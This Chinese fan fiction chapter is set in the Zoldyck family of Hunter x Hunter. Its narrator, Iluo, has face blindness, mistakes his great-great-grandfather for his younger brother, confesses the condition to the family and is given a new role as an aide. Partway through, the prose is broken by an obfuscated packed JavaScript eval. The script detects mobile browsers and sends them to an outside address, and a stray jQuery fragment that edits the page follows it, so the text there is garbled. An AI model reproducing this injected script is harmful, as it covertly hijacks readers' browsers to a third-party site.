从监控里看到伊洛满面笑容地靠近高祖父时,糜稽发出尖锐的爆鸣声,已然意识到不对,恨不得一个百米冲刺撞开兄长搭在高祖父身上的手。
但是晚了一步。
他的兄长不仅自然地搭了马哈的肩膀,甚至熟稔地叫了他的名字。
——“糜稽,哥哥回来了哦。”
“啪”地一下,是糜稽本人从椅子上摔下来的声音。
而后是管家们噼里啪啦不小心弄碎东西的声音。
……
其实在碰到“二弟”肩膀时,伊洛就后悔了。
他承认是自己大意了,因为刚刚解决完长期任务,难得有些放松。
刚进大门,在一众细长的像素块里发现了那个短短的黑色色块。
虽然在自己的视角里,人类都是像素块,只有形状颜色不同,但这个最小的色块…一看就是年龄最小的二弟!
直到另一个小黑色块跑过来,气息和语调都是糜稽没错。
那现在自己身边这人是谁…?
…
“…那是我们的高祖父啊,虽然平时不怎么出现,但是…哥哥你到底是怎么认人的……”况且他的头发有这么少吗???
糜稽来回踱步,时不时抱头哀嚎,嘴里碎碎念,“完蛋了,被父亲他们知道…哥哥你要死定了啊!”
“那是、高祖父…?”少年露出一个比哭还难看的笑。
他不仅认错人了,竟然还冒犯了长辈。
糜稽一回头,发现他最面不改色的哥已经吐魂离开有一会儿了。
“振作啊伊洛哥!爸妈还没找你问话呢…”
伊洛一手捂住脸,一手搭在弟弟的肩膀上,“好了,不用再说了…”
“我说你啊…”糜稽沉沉地叹了口气,他绞尽脑汁想了半天,却找不到一个合适的办法。
家里只有自己知道伊洛认不清人这件事,可不可以从这里入手呢?大哥不会因为这件事被“放弃”吧…如果那样的话,他、
在胡思乱想的时候,回魂的伊洛凑到他耳边,低声说着,“如果父亲问到你的话,记得要说是我拜托糜稽隐瞒的。‘只以为哥哥是有些视力问题但完全没想到这么严重’,要这样说哦。”
“不行!这样的话—”
“拜托啦我亲爱的弟弟——”伊洛双手合十,又露出那种每次都会让他心软的表情。
糜稽撇过头,绷着脸和他僵持了好长一段时间,最终还是答应了。
“本来就是哥哥的错,和糜稽无关,因为这件事连累你受罚可不行啊…”
听着伊洛的话,糜稽咬着牙关,没有回应。
……
把惴惴不安的糜稽哄走后,伊洛一个人蹲在房间里叹气。
他揉揉自己的头发,把下午发生的事情又盘算一遍,现在父母还没有派人来找自己,是还在商量该怎么办吧…
也是,毕竟花了大精力培养的孩子竟然存在分不清人…这样的致命弱点,他会被怎么处置呢。
揍敌客家主要负责暗杀类的业务,就算是后台管理,也少不了与人打交道。无法分辨一个人的面部特征,这岂不是完蛋了吗。
真遗憾啊,本来以为自己能够这样糊弄到成年的。
要是、再像上一世那家一样,被抛弃怎么办呢。
伊洛看向窗台。
…
“哥哥,你要去哪。”
地面那团盯着他动作的像素块说。
伊洛沉默地把翻了一半的身体缩回去,“晒晒月亮。”
伊路米没怎么费力地爬了上来,歪头看看他,“你的眼睛有问题吗?”
听上去很像骂人的话。伊洛心想。
“小伊也知道了啊。”
伊路米握着他的手上下左右晃着,像是专心在玩,没什么起伏地回答,“一回来就被管家带去测试视力,估计是哥哥这里的事情吧。毕竟我们是双生子,是担心我也会存在近似问题吗。”
伊洛应了一声,含糊不清地回答,“我有点分辨不清面孔…”
闻言,伊路米又凑近些,抓着他的胳膊防止对方往后退,一眨不眨地看着兄长的眼睛,“现在呢,现在能看清我吗。”
那双蓝眼睛和过往一样温和,却依旧没有他的身影。他的哥哥也和过往一样,移开目光不去看他,“能够分清哦。”
骗人。
伊路米眯起眼睛,盯了他很长时间,松开手说,“父亲找你。”
…
会议室里坐着三团像素块,一个黑的两个白的,认错人的经历还在伊洛脑中挥之不去,他垂着脑袋,挨个问好。
他听见了父亲的叹息,“伊洛,你的眼睛到底是什么情况?”
“…在我眼中,大家都是没有特征的像素块,我、看不出服饰的不同,也难以注意细微的动作。”
他的头垂得更低了。此时隐瞒已经失去了意义,就算自己不说,他们也会想办法试探他,那样的话,自己不是更惹人嫌了吗。
房间一片静默。
他能感受到四道看向自己的目光,带着审视、带着打量。
未来的命运好像藏在凝滞的空气里,每一个瞬间,似乎都更加滑坠。
高祖父马哈率先打破沉默,饶有兴致地开口,“伊洛,你平时是怎么执行任务的?”
“…背像素坐标。”
“哦?”
“虽然是每个人都是像素块,但细微之处仍有不同,比如…几行几列的色块会与旁人不同,我会寻找这些特征…”
因为分辨力不行,伊洛一直在锻炼自己的记忆力和反应力,试图让这两项能力填补弱项。
马哈不说话了,和其他几人交换视线。
“你的速度不慢。”桀诺说。
他看着这个孩子,心中一片惋惜。
能够在揍敌客隐瞒自己的弱点无一人察觉,如果眼睛没有问题的话…
“伊洛,你还有什么想说的吗?”
“…没有了。”他单膝跪地,行了一个标准的家臣礼,声音轻到难以察觉,“是我隐瞒在先,无论任何结果,伊洛都接受。”
—
自那个孩子说出这样一句话后,马哈笑而不语,打量过在场的两位话事人,又把目光转向这个孩子。
伊洛的脸上没有任何神情,恭敬地跪在那里,如同一位下属,如同一位外人。
早在这件事暴露时,恐怕就想好了结果,于是主动划分界限。
桀诺也不说话,摸摸胡子,看向这对父子的眼神意味深长。
席巴曾为这孩子稳重不露声色的性格感到骄傲,如今却感到心中说不出的烦闷。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016554|194205||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
家臣?
认为存在这样的弱点,一定会被家族否认丢弃吗。
他目光沉沉地看着这个孩子,第一次怀疑自己从未懂他。
“自己领罚吧。”最后,他说。
…
只是这样?
他难得诧异地看向父亲。
这团最魁梧的白色像素块又重复一遍,“诱导家人一起隐瞒事实,按照家规领罚吧。”
伊洛喉间涌上说不出的情绪,眼睛不停地眨动,却难以看清面前的一切,连同周遭的摆设都模糊起来。
他扯着嘴角,手背不停地去擦眼睛,处理不好一片片的泪。
他努力吞咽那些抽泣,应出几个音节,“对不起…”
“辛苦了,伊洛。”
那只大手搭在自己的头上时,伊洛第一次,很想很想,看清他的神情。
……
这件事发生后,伊洛发现有些东西确实改变了。
他的训练任务不再和两位弟弟重合,而是接触到更多文书事务。
训练目标也由继承人转向了“辅佐官”。
这是伊洛能够想到的,最贴切的词。
是辅佐,做一个足够优秀的,能够辅佐家主管理家族的存在。
关于他的弱点,席巴下了封口令,禁止任何人提及,也是为了保护这个孩子。
当他们确定伊洛的病症无法医治亦无法改善,锻炼的更多便是其他方位的分辨力。
气息,声音,语调,脚步…
凡是能够易容隐藏的地方,凡是能够替换遮掩的地方,伊洛都要仔细学习,潜心分辨。
毕竟,如果被有心人注意到伊洛的缺点,他大有可能因此死去。
空闲之余,他会坐在后园里歇息,靠着那颗树,什么也不想地放空自己,直到下一个任务出现,又或者被弟弟发现。
伊路米总会突然从某个角落里出现,似乎一直对他口中“能够分清”不太信任。
前几次还会随机拉过几个管家,询问哪个是自己。
伊洛:???我是看不清又不是傻子!
他说的是实话,毕竟他们身量一样,也或许是双生子之间玄而又玄的感应,每次看到伊路米,他就能知道这是弟弟。
而糜稽,也一直担心伊洛会低沉失落,总找机会去确认他在干什么。
“我很好哦,这个结果…我很满意了。”
似乎是从糜稽的沉默里察觉到他的不相信,伊洛摸索着捏捏他的脸,“真的好很多。其实被发现后,我反而松了一口气,不用再去记忆那些像素坐标了,其实我也很担心出错哦。
之前好几次都梦见因为这个那个的原因…被赶出去呢,很狼狈啊。”
“才不会呢。”糜稽抓住他作乱的手,口齿不清地回答。
“嗯嗯?”
“我都没有被放弃,所以哥哥你也不要放弃。”
明明自己也还是个五岁的孩子,却紧紧抓住了兄长的手,“我也会、像哥哥不放弃我那样,紧紧抓住你。”
“…糜稽——!”
“等、哥哥你哭什么啊?!我身上都是土啊!”
“哥哥给你搅成泥巴。”
“???喂!”
糜稽发现,自从他哥坦白了弱点,越来越爱哭了。